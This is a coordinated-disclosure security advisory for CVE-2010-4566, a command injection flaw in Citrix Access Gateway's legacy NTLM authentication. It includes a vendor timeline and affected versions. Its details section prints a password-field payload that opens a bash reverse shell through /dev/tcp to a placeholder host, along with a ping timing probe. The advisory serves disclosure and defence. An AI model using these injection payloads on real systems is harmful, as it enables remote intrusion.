Citrix Access Gateway
Command Injection Vulnerability

Release Date 2010-12-21
Application Citrix Access Gateway
Versions Access Gateway Enterprise Edition (up to 9.2-49.8)
Access Gateway Standard & Advanced Edition (prior to 5.0)
Severity High
Discovered by George D. Gal <ggal {at}>
Vendor Status Updated Software Released, NT4 Authentication Removed [2]
CVE Candidate CVE-2010-4566
Reference Original Advisory

Product Description

From [1]:

"Citrix(R) Access Gateway(TM) is a secure application access solution that provides administrators granular application-level control while empowering users with remote access from anywhere. It gives IT administrators a single point to manage access control and limit actions within sessions based on both user identity and the endpoint device, providing better application security, data protection, and compliance management."

Vulnerability Overview

On August 2nd, VSR identified a vulnerability in Citrix Access Gateway within the way user authentication credentials are handled. Under certain configuration settings it appears that user credentials are passed as arguments to a command line program to authenticate the user. A lack of data validation and the mechanism in which the external program is spawned results in the potential for command injection and arbitrary command execution on the Access Gateway.

Vulnerability Details

The Citrix Access Gateway provides support for multiple authentication types. When utilizing the external legacy NTLM authentication module known as ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command line utility to verify a user's identity and password. By embedding shell metacharacters in the web authentication form it is possible to execute arbitrary commands on the Access Gateway.

The following commands are executed by the ntlm_authenticator during this process:

vpnadmin 10130 0.0 0.0 2104 976 ? S 15:02 0:00 sh -c /usr/local/samba/bin/samedit -c 'samuser username -a' -U <<username>>%<<password>> -p 139 -S > /tmp/samedit-samuser-stdout.50474096 2> /dev/null

vpnadmin 10131 0.0 0.1 3852 1528 ? S 15:02 0:00 /usr/local/samba/bin/samedit -c samuser username -a -U <<username>>%XXXXXXXX -p 139 -S

By submitting a password value as shown below, it is possible to establish a reverse shell to a netcat listener:

| bash -i >& /dev/tcp/<<HOST>>/<<PORT>> 0>&1 &

Using a simple ping command in the password field an attacker could use timing attacks to verify the presence of the vulnerability:

| ping -c 10 <<HOST>>

The ping command above will attempt to send 10 ICMP echo requests to the target host, resulting in a noticable delay easily detected by vulnerability scanners.

Versions Affected

Testing was performed against a Citrix Access Gateway 2000 version 4.5.7. According to the vendor this vulnerability affects all versions of Access Gateway Enterprise Edition up to version 9.2-49.8, and all versions of the Access Gateway Standard and Advanced Editions prior to Access Gateway 5.0.

Vendor Response

The following timeline details the Citrix response to the reported issue:

2010-08-06 Citrix was provided a draft advisory.
2010-08-10 Citrix acknowledged receipt of draft advisory.
2010-08-16 VSR follow-up to determine confirmation of issue.
2010-08-16 Citrix confirmed issue.
2010-09-14 VSR follow-up to determine status of issue.
2010-09-29 VSR follow-up to determine status of issue.
2010-09-30 Citrix confirmed continued investigation.
2010-10-19 VSR follow-up to determine status of issue.
2010-10-26 Citrix verified cause of issue.
2010-12-01 VSR follow-up to determine status of issue.
2010-12-02 Coordinated release planned.
2010-12-14 Citrix releases security bulletin.
2010-12-20 CVE assigned
2010-12-21 Advisory released


Citrix has indicated that this vulnerability only affects legacy NT4 authentication which has been removed from the latest release of the device firmware.

Common Vulnerabilities and Exposures (CVE) Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the number CVE-2010-4566 to this issue. This is a candidate for inclusion in the CVE list (, which standardizes names for security problems.


VSR would like to thank Citrix for the coordinated release of this advisory.


1. Citrix Access Gateway
2. Citrix Access Gateway - Vendor Security Bulletin

This advisory is distributed for educational purposes only with the sincere hope that it will help promote public safety. This advisory comes with absolutely NO WARRANTY; not even the implied warranty of merchantability or fitness for a particular purpose. Virtual Security Research, LLC nor the author accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

See the VSR disclosure policy for more information on our responsible disclosure practices.

Copyright 2010 Virtual Security Research, LLC. All rights reserved.

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